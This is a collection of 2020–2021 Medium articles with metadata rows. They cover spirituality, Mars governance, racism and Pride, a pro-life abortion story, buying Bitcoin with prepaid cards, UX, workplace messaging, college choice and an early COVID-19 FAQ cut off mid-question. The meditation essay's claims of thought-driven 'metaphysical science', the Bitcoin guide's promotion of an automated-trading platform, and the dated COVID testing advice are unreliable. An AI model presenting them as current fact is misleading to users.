I was quite enamoured by a recent Ted Talk questioning how the redwood trees in the Muir woods in San Francisco withstood earthquakes, blizzards and windstorms in spite of their lack of deep roots. The talk explained that the century-old trees stood firmly in the forest as the roots reach outwards seeking the roots of other redwood trees to intertwine and form strong supportive bonds to one another in unity. In the care of each other, nature is giving humanity a crucial lesson, willingness to take care of each other, the universal principle of altruism: in giving we receive. The message was loud and clear: by getting things we make a living but by giving we make a life by loving each other whilst use things. Sadly we notice that more people use people and love things. Has this pandemic silenced our need to find comfort in material goods, as we see how everything around us is in limbo with the ‘New World’ hanging over us? Is it a ‘New World’ or is it a ‘New Us’?
Individuals yet the same…
We are individuals, different yet the same, and we more or less want the same basic things in life. Just as trees communicate with each other via their roots and their branches, our brains are tuned in with our thoughts. We can manifest change with our thoughts alone, our neurons can interconnect with others. Just with thoughts we can manifest change for individual selves and ripple these thoughts across. I agree, it may sound totally unscientific for many but metaphysical science is slowly picking grounds, proving that we do hold untapped power and ability to influence change with our thoughts alone. If our ability to give ourselves to one another just as the redwood trees do can make us build a stronger world for ourselves and our children, then truly the solution is within all of us. I cannot fathom the idea of prescribing my wonderful readers to dig deep within themselves in meditation but as a new convert, it has become a life-changing daily habit, adopted by my young children. In this state of transcendence, we come to recognise that many of us are just similar and are silently manifesting for better changes for humanity and the world at large.
“Something miraculous is being birthed in the consciousness of humanity” Emmanuel Dagher
This will not be an overnight thing, we will not wake up in January 2021, and see major differences or witness a miracle, but it does feel that change is showing up more and more if we pay attention. Often these are not pretty, but revolutions never are. The end result is…
Let us hold space for collective consciousness for the birth of a stronger and sustainable society. Let us put our positive thoughts and energies together to manifest progress for us, our loved ones, and society at large. | https://medium.com/flicker-and-flight/human-consciousness-for-change-600b489b3829 | ['Ruks Moreea'] | 2020-10-10 18:25:10.224000+00:00 | ['Poetry', 'Spirituality', 'Humanity', 'Metaphysics', 'Change'] |
A Martian Compact | A Martian Compact
Recently Starlink’s Terms of Service gave us all a peak into SpaceX’s view of how governance will work in space. In a nut shell companies and people living and working in Low Earth orbit or on the Earth’s Moon will fall under the jurisdiction of their Earth based country / state of incorporation, while governance on Mars will be set by those that settle there one day.
The SpaceX team has mentioned that they drew inspiration for their framework from the Space Declaration “Rights and Responsibilities by Humanity in the Universe”.
Which states:
All of this makes sense and syncs with international treaties such as the Outer Space Treaty which states nations of earth can not claim sovereignty over celestial objects and more recent laws in the US and EU that recognize the individuals and private companies have ownership of the resources they mine in space.
Which of course begs the next question.
What governance WILL the settlers of Mars set up for themselves?
Looking at a historical example this type of question was asked 400 years ago this month (November of 1620) when a small group of around 100 settlers ventured forth from Europe into an unknown new world and ended up landing at Cape Cod. Today we know these people as the “Pilgrims”.
Upon arriving at Cape Cod and not the expected Virginia colony they planned to go to and in a bit of a hurried manor they wrote and signed an “Agreement Between the Settlers of New Plymouth”, but is more commonly referred to now as the Mayflower Compact.
Which reads:
Mayflower Compact
“In the name of God, Amen. We whose names are under-written, the loyal subjects of our dread sovereign Lord, King James, by the grace of God, of Great Britain, France, and Ireland King, Defender of the Faith, etc.
Having undertaken, for the glory of God, and advancement of the Christian faith, and honor of our King and Country, a voyage to plant the first colony in the northern parts of Virginia, do by these presents solemnly and mutually, in the presence of God, and one of another, covenant and combine our selves together into a civil body politic, for our better ordering and preservation and furtherance of the ends aforesaid; and by virtue hereof to enact, constitute, and frame such just and equal laws, ordinances, acts, constitutions and offices, from time to time, as shall be thought most meet and convenient for the general good of the Colony, unto which we promise all due submission and obedience.
In witness whereof we have hereunder subscribed our names at Cape Cod, the eleventh of November [New Style, November 21], in the year of the reign of our sovereign lord, King James, of England, France, and Ireland, the eighteenth, and of Scotland the fifty-fourth. Anno Dom. 1620.”
Compact 2.0 Now In The Mars Context
By an interesting chance of history, it appears one of my ancestors was a signatory of this famous document. A man named Degory Priest.
While this was unknown to me as a kid. I’ve been dreaming of settling Mars since I was young and in 30 years since I’ve studied a good bit about history, economics and in my professional life spent most of my career designing decentralized systems and communities and seeing how they function in the real world.
So with that as a back ground let me offer a framework for a new compact, this time with Mars in mind and much of what we have learned about good governance since 1620. All in a package as short and to the point as the original compact was.
The Marian Compact
“We whose names are under-written, acting as free and sovereign individuals.
Having undertaken, to secure personal, civic, religious and economic freedoms, a voyage to bring human life to Mars, do covenant our selves to respect the free entry and exit into competing civil bodies, for the development of standards and good governance that the natural rights of each person and by extension their property, might be upheld and by virtue hereof to enact, constitute, and frame such just and equal rules, ordinances, acts, constitutions and offices, from time to time, as shall be thought most effective for the protection of each individual, unto which we shall enter into or leave on a voluntary basis and reserve the right to enact new and competing civil bodies, rules, and governance should the need arise, provided these bodies also respect the right of self determination of all sovereign individuals.
In witness whereof we have hereunder subscribed our names in orbit of Mars, the eleventh of November, in the year of 2030.”
The Changes For The New Compact
Obviously the settlers of the first Martian city won’t be claiming loyalty to a monarch so the references to King James are the first to be removed. Rather than acting as representatives of a nation I hope the first settlers will act in their own self interest as free and sovereign individuals. I included the objective of religious freedom as I grew up in the Christian Church and see a group of Christian families as a good set of candidates given their alignment of faith, values and structure for conflict resolution. Rather than binding themselves to a single civil body politic, I hope the first Martians will realize that having diversity and choice in governance, rules, and standards will thrive much faster via experimentation and competition than it does through a single centralized monopoly. Rather than the objective of the civil bodies being the “general good” of the colony, upholding the natural rights and by extension the property of individuals is the highest goal. In this version the ability of every participant to enter and exit civil arrangements is upheld. The ability of participants to start new civil bodies as long as they in turn recognize the right of others to do the same shall endure. Note that the focus of the compact is all around the individual, rather than a specific city, geography, or civic body. This is a purposeful recognition that individuals are the ultimate unit which can join or leave a voluntary organization of which these civic bodies all are. The harbour of Mars is its orbit or the moons of Mars are likely to serve this purpose over time. The event is set for November 21st 2030 ten years from today.
Conclusion
Before Martin settlers start writing constitutions and setting up their homesteads on the Red Planet, lets put it out there that Mars has the opportunity to move past many of Earth’s legacy ideas such as geographically bound nation states and that people on Mars will be free to choose and change their governance. In doing so I believe a wave of prosperity will be unleashed by the ensuring competition and innovation. | https://medium.com/@djohnstonec/a-martian-compact-2f3fb5d6a26e | ['David A. Johnston'] | 2020-11-27 20:43:27.981000+00:00 | ['Governance', 'Spacex', 'Starlink', 'Mars', 'Space'] |
No Pride Today: Racism and Homophobia are Blood Cousins | Riots and racism in a small American city
Grand Rapids, Michigan turned into a battle ground Saturday night as cops fired flashbang grenades, lobbed teargas canisters, and suited up in riot gear to push “I can’t breathe” protesters out of the downtown area.
Never heard of Grand Rapids? That’s OK, it’s a very small city in the middle of nowhere. I only noticed because it’s the city closest to me. If I crave sushi or Lebanese food, Grand Rapids is where I drive.
Grand Rapids news broadcasters dedicated all their time to the riots Saturday night. Is riot the right word? I watched for hours and saw police exercising plenty of violence, although they seemed restrained in some ways. They didn’t arrest anyone. The only thing the “rioters” looked guilty of was refusing to leave.
Proud of America?
As events were winding down, my phone rang. I picked up to hear an old friend say, “I’m so proud! I finally have hope for America.”
Flash back almost four years as my friend and I sat in a campus bar in Detroit, ready to celebrate Hillary Clinton’s election. As results came in and Donald Trump’s unexpected victory looked assured, we sank into gloom and depression.
“Oh, my god,” my buddy said, “get your passport ready and get ready to use it.”
I scoffed, but he insisted. “Look! You’re gay and my skin is brown. You and I are the first targets. Don’t doubt this. We need to be ready.”
I soothed him. I told him he was wrong. “Look, this is America. I get you were raised in the Middle East but things are different here. We have cultural inertia. No one president can change who we are. Dude, you’re an American now. That’s all that counts. We’re both gonna be fine.”
What an ignorant, condescending speech I made. How wrong I was!
Only a few months passed before I began to realize how wrong. A few months in which my friend’s Arab family members were no longer welcome in the United States.
A few months in which transgender people became summarily unwelcome in the US armed forces.
A few months before the US president openly praised white supremacists while vilifying protesters objecting to white nationalist rallies.
Then came a rapid and systematic rollback of federal regulations designed to protect LGBTQ people from discrimination in housing, employment, and even access to medical care.
Then came brown children caged like animals, separated from their parents, shockingly without sufficient records kept to reunite many families.
Racists and homophobes grew bold
The federal government isn’t the cause of systemic American racism and homophobia, the American people are, but President Trump has made open intolerance fashionable again as his followers emulate his violent speech and behavior.
Trump has denigrated and tried to stop peaceful protest against systemic racism, even protest as dignified and understated as athletes taking a knee during the National Anthem.
Black body after black body has fallen under the brutal blows of racist police oppression, and American leaders are doing nothing to stop it, not at the federal, state, or local level.
The public murder of George Floyd in Minneapolis last week was only the latest in a long string of police officers executing Black people, including Black people sleeping in their cars and apartments.
Fighting back is Pride
When my friend told me he was proud of America, he meant he was proud we were fighting back! As an immigrant citizen who loves his country but fears the violence inherent in systemic racism, he’s thrilled to see ordinary Americans shouting their outrage and demanding justice.
He’s proud to see his fellow Americans standing up for people like him.
Before he ended the call, he asked me something. “Where are your people? What are LGBT people doing to stand against intolerance?”
What are LGBTQ people doing to fight racism?
My friend said “intolerance,” but I’m sure he was being polite. He meant racism, I could hear it in his voice. He meant, what are privileged white folks like you, Mr. Finn, doing about oppression of brown people like me?
I wanted to remind my friend that we queer folk have our own marginalization problems, but as soon as I opened my mouth, I realized saying that would be as ignorant and condescending as when I denied we had a problem back in that Detroit bar.
What ARE middle class, relatively privileged queer folk doing? Some of us like Emily Swan are marching and protesting. Some of us like me are speaking up and trying to educate, but others of us, sadly, are denying America has a racism problem, or denying that marginalization is ALL of our business.
Stonewall was a riot
At the end of the summer of 1969, for three nights running, queer folks threw bricks and bottles as they battled cops in Greenwich Village. Those three nights symbolize the beginning of the LGBTQ equality movement.
In some places, people of color led those riots, which in the words of Martin Luther King were “a language of the unheard.” Without that language of despair and rage against the police who were throwing us in jail for daring to drink and dance together, where would we be today?
How long would we have waited for justice and equality?
We’ve learned much in the ensuing decades
LGBTQ equality is nowhere near achieved, but THINKING about equality of all sorts has advanced by lightyears. We understand today that marginalized people share common causes because the roots of their oppression lie with the abuse of power.
White supremacy and white nationalism are blood cousins to homophobia and transphobia. They’re a manifestation of a powerful elite, a ruling class, struggling to hold on to privilege — to set themselves apart.
Intersectionality is a buzzword, and a complex academic subject not well suited to this essay, but to boil it down, it means we’re all in this together.
Every unarmed black man shot by the cops …
Every gay man thrown in jail for cruising …
Every transgender woman beaten black and blue just for existing…
Every queer kid bullied until they commit suicide …
Every low wage worker who can’t afford to pay rent and eat …
We ALL share ONE thing in common. A ruling elite, a powerful minority of privileged people, marginalize us so they can retain their privilege.
Divided we fall!
I’ve been ashamed in recent days to watch many LGBTQ people in public forums embrace their white privilege as they condemn protesters and rioters. But how can we NOT be outraged by a constant stream of extrajudicial killings of Black people by police?
How can any marginalized person NOT stand with our brothers and sisters who cry, “I can’t breathe,” while a boot grinds into their neck? Together, we’re strong. Together, we can change the world.
The privileged, the elite, want to divide us. They want to keep us sparring and bickering and warring so they can pick us off in small groups one by one.
Today is June 1, the traditional opening of LGBTQ Pride month
I won’t be marking the opening day of Pride this year with a story or series of tweets like I usually do.
I can’t.
My Black brothers and sisters have boots in their necks, and it’s time to focus on that for a while.
It’s not time to celebrate, and it’s not time to revel in LGBTQ history. That time will come, and we WILL raise our voices, but today I can’t. Today my heart is in Minneapolis, Grand Rapids, New York, Los Angeles, Miami, Seattle and every other city where protestors are fighting for Black lives.
Today, my heart is with my Arab American friend who just wants to be proud of his country.
Today, Black Lives Matters is my fight, because today I know standing together isn’t just the right thing to do, isn’t just the loving thing to do, isn’t just the moral thing to do, it’s the smart thing to do.
Divided we fall, but standing together we win! | https://medium.com/james-finn/no-pride-today-racism-and-homophobia-are-blood-cousins-206715aeae3e | ['James Finn'] | 2020-06-01 16:09:20.143000+00:00 | ['Racism', 'LGBTQ', 'Equality', 'Pride', 'BlackLivesMatter'] |
A Father’s Heartbreaking Abortion Experience | Recently, a man I will identify by the initials RDF shared on Facebook a heartbreaking story of loss.
His girlfriend was pregnant with twins. She was almost twenty weeks along when she went to Planned Parenthood, considering abortion. I will let him tell the story in his own words:
She went into Planned Parenthood because she was “too young” (24) and wasn’t ready for children. She hadn’t “planned” to be a parent… There were protesters there with posters and booklets and handouts… Offering insight, wisdom, help… an alternative to murder. She walked past the pictures of cut up babies. She ignored the small group of protesters. She was expressing her “legal rights”… Her life was about her. Not about the inconvenience of the “fertilized eggs” that were inside her. They weren’t babies yet. She was less than 20 weeks pregnant… by a few days. Though the Sonogram showed two little babies. With fingers and hands… And feet and faces… And heartbeats… Two little innocent babies who were being protected by their mother in the safety of her womb…Who were completely 100% innocent. Alive… Waiting to be born.
Preborn baby at 20 weeks. Photo by The Endowment for Human Development
The night before the abortion, we were talking about alternatives. I cried. She cried … I put my hand on her hand and then on her stomach and prayed and said, “Dear Lord, Please guide us through this dark and confusing hour. Please point us in the direction that only you know is right… Dear Lord…” And then we felt the strongest kick. And then another… And another. I cried. She cried. “The Lord is speaking to us. He answered our prayers.” She said, “But I’ve already made the appointment.” And I said, “That appointment means nothing, God has spoken to us.” I felt it. She said she felt it too. For the first time in her life… she felt God speaking to her. Later that night, we were talking about the future and future plans. She said, “I’m not ready to be a mother.” I told her that nobody is. She said, “I’m scared.” I told her that every mother is scared. Although she wasn’t enrolled in college at the time, she wanted to go. I was enrolled in a Bachelor’s Program and was working toward my degree. She said, “But I want to finish college and do something with my life.” I told her that I would help with the baby and somehow we’d both finish college. “It might be harder. We may have to make some sacrifices but we’ll get through it.” She said that she was going to college and I could stay home and watch the baby. I was working for Lockheed Martin at the time and a condition of my employment was that I had to be enrolled in a Bachelor’s Program. So we disagreed on who was going to finish college first… That morning I got up and was getting ready to go to work. I thought everything was going to be fine. We made it through the storm. She came downstairs and said, “I’m going through with it.” “What?” She said, “I’ve made up my mind. I’m going through with it.” She asked me to drive her to the clinic. I tried to reason with her. She wasn’t having it. I refused to take her. She called a cab. I thought to myself, “If I let her get in that cab, she’ll surely go through with it.” So I agreed to take her to Planned Parenthood in hopes of talking her out of it. She wasn’t having any of that. I tried to talk. She was silent. Not a word. I drove. She stared out the window. She was stubborn…nobody was going to tell her what to do… Not me… Not God… Nobody… I walked with her through the small group of protesters. I took a pamphlet and tried to give it to her. She was determined. I said, “Look those are fingers. That’s a head. They were alive. Our babies are alive.” She was walking briskly… She pretended she didn’t hear me. We got to the security gate of Planned Parenthood and rang the doorbell. A woman came out and unlocked the gate and then locked it behind us. We went into the lobby of the building. I grabbed my girlfriend’s hand, “Don’t do this.” She tried to pull her hand back and said, “I’m not ready to be a mother.” “Please, don’t do this. Reconsider” The lady who escorted us in told her the clinic was on the second floor. “Please, We can get through this. Don’t kill our babies.” She pulled her hand back, turned away from me and went up toward the clinic… Where were my rights? Where were the rights of those two beautiful babies? What in the hell did rights have to do with murder? Nobody has the right to murder!!! All of these thoughts flooded my emotions like a freight train… The moment my children were murdered, a ripple, a shockwave went through my body. Though I wasn’t there… I felt it. I knew something terrible had just happened in that moment.
The man went into the abortion facility to see his girlfriend in the recovery room:
My girlfriend was crying. She said, “I was wrong. I felt them when they died. They pulled my heart out with our babies.” I cried. She cried. She said, “Oh God, what have I done? I feel horrible, empty… I feel barren… Like a dead flower” I cried. She cried… We walked past the protesters. She could barely stand. She cried the whole way home. “Why didn’t I listen?” “What was I thinking?” And on and on and on… The emotional pain was unbearable.
RDF goes on to say that his girlfriend fell into a suicidal depression. She was soon going in and out of mental institutions. “It ruined her life,” he said.
When your rights… ruin your life… There is something wrong with the law.
He concludes:
It is a big deal. It is devastating to the mother. The little babies feel it. The mother feels it. The father feels it. It is murder.
Planned Parenthood, as well as other pro-abortion groups, have always fought very hard to prevent the father of the baby from having any influence, and they have been very successful.
Women are not even required to tell the father. In fact, a law that would have required the husbands of married women to be told about their wives’ pending abortions was found unconstitutional by the Supreme Court in Planned Parenthood v. Casey. A father does not have the right even to know about his partner’s abortion, much less stop it.
Louise Taylor, who was the vice president of medical affairs at Planned Parenthood, summed up Planned Parenthood’s attitude towards the fathers of aborted babies in an article in Time magazine titled “Sharing the Pain of Abortion”:
But it doesn’t matter how much men scream and holler that they are being left out [of the abortion decision] There are some things that they are never going to be able to experience fully. I say, tough luck.
Tough luck, Planned Parenthood says.
That is their answer to broken fathers like this one. | https://medium.com/the-secular-seamless-garment/a-fathers-heartbreaking-abortion-experience-eb42f31f50f9 | ['Sarah Terzo'] | 2020-12-19 13:57:12.105000+00:00 | ['Grief', 'Fatherhood', 'Abortion', 'Pro Life', 'Abortion Clinic'] |
How to Buy Bitcoin with Prepaid Card | If you’re interested in how to buy Bitcoin with prepaid card, then you will be glad to know that many platforms who accept Visa and Mastercard offer this option. Bitcoin Revolution claims to help ordinary people to enter the crypto market through crypto automated trading.
Prepaid cards are different from debit cards, as they are not linked to your checking accounts. Prepaid cards allow you to buy goods or services with money that you loaded on the card beforehand.
Moreover, prepaid cards have recently been used as a method to buy Bitcoin. In this article, we will show you how and where you can buy Bitcoin with prepaid card.
How to Buy Bitcoin with Prepaid Card
Buying Bitcoin with a prepaid card is not similar to buying with a conventional debit or credit card. This process is usually very easy, and everyone can deal with it by following the steps described below:
Step 1 — Choose an exchange
A very important first step is to find a suitable exchange. There are several exchanges that support buying Bitcoin with prepaid card as you will see shortly. However, there are factors to consider, one of which is fees, as exchanges tend to charge more for using cards to buy cryptocurrencies.
Step 2 — Create an account
In order to buy Bitcoin, you need a user account at the chosen exchange. If you don’t already have one, then you need to create it. This is as simple as providing your name, email address, and password. While some exchanges do not require KYC, it is likely that you will be required to supply KYC information to complete this process.
Step 3 — Get a wallet
You need a wallet to store your Bitcoin in when you buy it. Download and install a wallet that supports Bitcoin. Then, it would be good to make sure that your internet connection is fast and stable before using your wallet so that you do not have any trouble.
There are many available wallets to use, some of which support only Bitcoin, while others support many cryptocurrencies. Note that the Bitcoin you buy will be deposited in an exchange wallet by default. So, if you want to avoid losses in case the exchange is hacked, you can opt for hardware wallets.
Step 4 — Add your card as a payment method
There are usually a number of payment options. You need to add your prepaid card as your method of payment. Go to the payment option, select debit card, and add your prepaid card. This involves supplying card details, such as card number, expiry date, and PIN.
Step 5 — Buy Bitcoin
Now you are all set! You can place an order to buy Bitcoin and pay using your prepaid card. You should have sufficient funds to cover fees. These are all steps you need to follow if you want to buy Bitcoin with prepaid card.
Where You Can Buy BTC with Prepaid Card
As earlier stated, there are many exchanges where you can purchase BTC. The following are the best ones that you can use to buy Bitcoin with prepaid card. The exchanges listed below are some of the safest, so you can choose one of them for your operations.
Coinbase
Coinbase is one of the top cryptocurrency exchanges and also one of the most secure. They serve customers from 32 countries, which is a pretty important factor to consider if you want to buy BTC using a prepaid card.
The exchange charges a fee of 3.99 percent for all purchases. This fee is reasonable considering that most exchanges charge between 4 and 5 percent. It is worth noting that Coinbase is very popular due to its simple user interface that even a completely new user can figure out quickly.
Crypto.com
Crypto.com, previously known as Monaco, was founded in 2016 with the mission to bring cryptocurrency into the mainstream.The plaftorm gained popularity with its MCO Visa Card, powered by MCO token which was released through the ICO in 2017.
Users are able to buy Bitcoin directly via Crypto.com App by debit card or credit card. Crypto.com now has a promotion of buy crypto at 0% credit card fee until the end of June 2020 with payment by credit card or prepaid card.
Users can also buy Bitcoin via fiat currencies by bank transfer. Crypto.com supports up to 7 fiat currencies (USD, JPY, EUR, etc.) deposit and 55 different crypto assets, so Crypto.com is really the best place to buy and sell cryptos, as well as to perform Bitcoin payments.
LocalBitcoins
LocalBitcoins is not a conventional exchange but rather a peer-to-peer trading platform. It is one of the exchanges that let you buy Bitcoin with your prepaid card. Although it is P2P, it is very secure because there is an escrow that holds the Bitcoins and only releases when they are paid for. In fact, most Bitcoin trades are now done on platforms like this because they are easier to use.
It also has many other payment options, such as IDEAL, Western Union, PayPal, and Amazon Gift Card. You can just add your prepaid card as the preferred payment method to buy Bitcoin securely on LocalBitcoins.
Coinmama
Coinmama was founded in Israel in 2013 and now supports users from over 220 countries. The platform has a user-friendly interface and supports multiple languages so that people from different parts of the world are able to use their services.
You can buy Bitcoin using your prepaid card on Coinmama, provided it is either from Visa or Mastercard. It is worth mentioning that the platform charges 5% for purchases using prepaid cards, unlike Coinbase that charges only 3.99%.
CEX.IO
This is a European cryptocurrency exchange based in London. It is one of the most affordable exchanges when it comes to cryptocurrency purchases using cards. CEX charges only 3.5 percent, probably the lowest for buying Bitcoin with prepaid card in the space. The services are, however, restricted to Europe and the United States. If you are buying with any other currency, you will have to pay conversion fees in addition to transaction fees, which is a bit of a headache.
It can be considered the best cryptocurrency exchange to use even for newbies. If you are looking for where to buy Bitcoin with prepaid card for cheap, especially if you are in Europe or the U.S, CEX is one place you should try.
Paybis
Paybis is a UK-based exchange that supports the selling and buying of Bitcoin and five other cryptos through a variety of payment methods, including credit and debit cards issued by Visa and MasterCard.
What Are the Advantages of Buying Bitcoin with Prepaid Card?
Like anything worth doing, there are advantages and disadvantages of buying Bitcoin using a prepaid card. First, we will consider the advantages.
Ease of use
Prepaid cards, just like other cards, are easy to use compared to other methods of buying Bitcoin. You only need to provide the card details, and you are ready to buy BTC.
Security
If you decide to buy Bitcoin using a prepaid card, then you should know that it is more secure than other methods since less customer information is revealed in the process. Also, because it is not connected to a bank account, stealing it will not grant access to unlimited funds, only what is loaded on the card.
Instant buy
Using prepaid cards ensures that you get your Bitcoin almost instantly, compared to methods like bank transfer that may take days to receive your coins. This removes anxiety and saves time spent waiting for Bitcoin to arrive in the wallet.
What Are the Disadvantages of Buying Bitcoin with Prepaid Card?
Using prepaid cards also has its disadvantages which are as follows:
Higher fees
Fees for buying Bitcoin with a prepaid card is traditionally higher than other methods. For instance, a bank transfer may only cost 1 percent instead of the 5 percent charged by some platforms.
Few platforms
Not many exchanges support the use of prepaid cards to buy Bitcoin. This makes the options very limited, and customers may not be able to use their favorite exchanges for this service.
KYC
One of the ideas behind cryptocurrency is anonymity. Buying Bitcoin using prepaid cards strips users of such privilege, as KYC is mostly required to buy Bitcoin using this method.
Limited purchase
Some platforms do not allow the use of prepaid cards to buy large amounts of Bitcoin. This is a major problem if you wish to buy a significant amount of Bitcoin at once.
Conclusion
With this, we conclude our article on how to buy Bitcoin with prepaid card. Although it is an easy and fast method, there are not so many exchanges where you can buy BTC. The listed platforms are, however, available for purchase, and you can do this very easily if your country and currency are supported. We hope this guide helps you to buy Bitcoin successfully.
Featured image: time24.news
Article source: How to Buy Bitcoin with Prepaid Card | https://medium.com/@coindoo/how-to-buy-bitcoin-with-prepaid-card-e2dcde59a90b | [] | 2021-07-15 07:54:16.896000+00:00 | ['Bitcoin News', 'Buy Bitcoins', 'Bitcoin', 'Btc'] |
User Experience and its importance | The focus of user experience is simple — to make our users feel satisfied with the effectiveness of the product or service they are using. This might be making them feel more productive, more motivated, happier, efficient, confident, or any other specific feeling that they may associate the product or service based on its category and the problems that it aims to solve.
The majority of the time, the term user experience is defined within the context of technology. It may be in terms of building an electronic product, an online web-based service, or a desktop or mobile application built to serve a specific purpose. That is what I personally associate user experience with, at least. The consequences of focusing on delivering a good user experience though, are far-reaching.
When you come to think of a product or a service from the perspective of users, you also must take into account their tendencies to judge a product and the people behind it, based on how they perceive the product. This can have a lasting impact on the product itself, sure, but also the brand, the company, and the developers behind the product. This could prove to be a standard to maintain, beyond just delivering a product.
In order to really nail the user experience, then, it is key to understand the users and empathize with them. The term ‘user-centered design’ is often used when trying to build a user experience. It puts the user at the heart of the product/service, understands the problems that the users are facing, tries to build the solutions to solve those problems while at the same time thinking of ways to do so without major pitfalls for the users by thinking in a prophylactic manner.
The takeaway
The field of user experience is interdisciplinary. It cannot be classified simply into graphic designing, psychology, or research, but rather it must be considered as a field that works in tandem with these areas of expertise to understand the users better.
This is what I have learnt from my venture of understanding user experience, its importance and essential aspects of what makes or breaks the user experience for people. | https://medium.com/@paradkarabhishekp/user-experience-and-its-importance-a155d1d7e236 | ['Abhishek Paradkar'] | 2020-07-19 16:11:27.870000+00:00 | ['User Experience', 'User Centered Design', 'User Experience Design', 'Interaction Design'] |
What are the Best Practices of Using Instant Messaging Applications in Your Company? | What are the Best Practices of Using Instant Messaging Applications in Your Company? Healthcarebusinessclub Jun 16·4 min read
Overview
The benefits of instant messaging tools like Slack, Microsoft Teams and Zoom are crystal clear.
But there is one problem, we are still figuring out how to communicate properly and professionally via instant messaging applications.
Therefore, organizations should start adopting best practices for instant messaging, such as the careful selection of which systems to use, and the optimum being the choice of systems that employees prefer; Establish basic rules for personal correspondence Respect work-life balance by setting standards on appropriate response times; Face-to-face communication is encouraged as well.
Using Instant Messaging Applications in Business
The names of popular Internet messaging systems are now used in verb form in workplaces around the world, just as we use the word “Google” when we want to search for information, or (I’ll Slack you), meaning that I will send you a message via “Slack”.
In fact, the Slack program has been effectively integrated into the day-to-day activities of large old companies and burgeoning startups, and Slack claims to have hosted more than 10 million daily users in 2019. The company has competitors as well, including Microsoft Teams and Zoom.
The benefits of those tools quickly became apparent. Researchers have noticed in the first decade of the third millennium the importance of instant messaging in reducing unnecessary phone calls and in reducing miscommunication.
In fact, instant messaging outperforms e-mail by providing an immediate and clearer solution to business issues that employees may sometimes be unaware of receiving in their incoming e-mail.
But there is one problem, and that is that we are still in the process of figuring out how to communicate correctly and professionally via instant messaging applications.
These systems may create communication silos in which teams using one platform fail to collaborate with departments that use another platform.
On the other hand, ease of communication may also result in distraction and a lack of formal interactions in the workplace.
Instant messaging may become a natural channel for sharing non-work-related information, including sometimes inappropriate details about workers’ personal lives.
Not surprisingly, instant messaging systems create legal problems for enterprises; It is also paradoxical to use instant messaging to discuss cases in judicial disputes.
Although it’s difficult to abandon these systems today, they are still a serious problem, which indicates that companies have not fully figured out how to develop the policies that guide and organize the instant messaging systems in the workplace correctly and how to implement those policies even.
We have more interested content for you:
Instant Messaging Best Practices
In fact, employees are free to use and choose the instant messaging systems they prefer if the decision to use it is up to the first; In general, however, Slack and Microsoft Teams have become the basic platforms in most organizations; Some suggested best practices are included in this article.
1- Adopt the tools employees are currently using
The history of popular instant messaging dates back to the early 2000s, when Slack, in particular, had already been in use for years.
Therefore, rather than starting from scratch when using workplace instant messaging systems, they should use systems that employees already know and love.
In other words, you should specify the software that employees are currently using; Choosing a popular and appropriate program for your organization and modifying it to suit your needs; Establishing policies on appropriate use and archiving of data; Educating managers on usage and risk factors; Training of human resource representatives; And reprocessing processes and procedures regularly to improve them.
For example, many team members in a health tech startup may use Facebook Messenger as a means of social communication inside and outside the office, but that platform itself does not have to become a standard for official instant messaging within the company, but rather it can be integrated into a bigger messaging system.
2- Accept all instant messaging Applications, but set ground rules
Slack and Microsoft Teams can be a distraction, especially when used as an online repository for storing moving pictures, sharing jokes, and having discussions about sports and TV series stories.
These programs may also represent unintended outlets for bullying, abuse and harassment, such as when group messages are shared about a co-worker’s clothes, behaviors, or personal life, even though this colleague sits only two desks away.
On the other hand, there are benefits for employees who exchange messages on topics not related to work as well, as these digital interactions may create intimate friendships and reduce the likelihood of employees leaving work when they form friendships in the office, as harmony with colleagues showed an increase of participation by 700%.
To reap the social benefits of these tools and reduce the risk of employee distraction or reduced mental health, organizations must clearly define expectations from personal messages.
In other words, those expectations should be established and shared with existing employees immediately and presented to the new hires during their preparation period, making sure to follow them every once in a while.
HR teams should also be trained in complaints and concern handling protocols.
Are you interested to learn more, read the full story on healthcare business club, from the original topic
What are the Best Practices of Using Instant Messaging Applications in Your Company?
Healthcare Business club is your favorite knowledge about healthcare business | https://medium.com/@healthcarebusinessclub/what-are-the-best-practices-of-using-instant-messaging-applications-in-your-company-bbb3aff70ecd | [] | 2021-06-16 03:16:58.157000+00:00 | ['Business Management', 'Communication Skills', 'Slack', 'Business', 'Zoom'] |
Where you go to College is not nearly as important as you think! | University of Cumberlands in Kentucky
Unlike many pundits, I don’t believe that where you go to College or University is nearly as important as everyone would like to have you believe. I DO believe that the simple fact that you are going to College and that you graduate from College is MORE important than everyone would like to have you believe.
Graduating from College shows the world that you can persevere through some really tough times, learn some amazing lessons, both in the classroom and, more importantly, outside the classroom, and do so with extraordinary levels of effectiveness. A graduation ceremony is a chance to show off your willingness to sleep less than you wanted, work harder than you thought you could and come out of it a better human being.
Whether or not you graduate from Harvard University, the University of Maryland, or Ripon College is largely irrelevant. The experiences that you have at each of the aforementioned institutions, as well as many others, will largely be the same. As much as the Ivy League would like you to believe that the diploma from their schools is much more valuable, it is still just some ink on paper. Please understand that I am not demeaning those schools, nor do I have some sort of envy towards those students that go to those schools, but the attitude that they are better because of some sort of “ranking” seems preposterous to me.
The College or University that is the best one for you is one where you love to attend classes, you enjoy the surrounding community, and you are exposed to the diversity of which you seek.
So be sure to do your absolute best to get to the College or University that matches you and your interests. Do it for you and not for your parents nor for your girlfriend/boyfriend/best friend and keep in mind that you will need to spend time in this city, on this campus, for the next four years. | https://medium.com/@intlcollegeadmissions/where-you-go-to-college-is-not-nearly-as-important-as-you-think-dddff4299d20 | ['Garrett Jensen'] | 2020-12-26 15:02:54.102000+00:00 | ['Consulting', 'College', 'University', 'Admissions Consulting', 'Admissions'] |
Frequently Asked Questions About COVID-19 (March 8, 2020) | As the Department of Health responds to the COVID-19 outbreak in Washington State, we get hundreds of questions each day. While it’s difficult to answer each and every question we receive on social media, we have compiled some of the most frequently asked questions and their responses.
Have I been exposed?
To get COVID-19, you need to have close contact with a sick person with COVID-19. Close contact means living in the same household with them, or taking care of them while they are sick, being actually, physically close to them for more than 10 minutes or literally being directly coughed on by someone with COVID-19. If you have not had this kind of close contact with a sick person with COVID-19, you are considered to be at low risk for infection. If you aren’t sure what kind of contact you have had, you can call your healthcare provider and ask.
Should I get tested?
Maybe not. We know many people are wondering, if they have fever and a cough, do they need to get tested for COVID-19? The University of Washington announced they have a new lab test available that will expand our capacity. However, we still have limited capacity to run these tests right now, and we are prioritizing the tests for people with underlying health conditions or serious illness. Testing may become more readily available in the future, but, for now, if you have mild symptoms (cough, fever), you need to stay home, stay away from people, and maybe catch up on your Netflix shows. A test, whether it’s positive or negative, won’t change that advice!
If I got this what would I have to do?
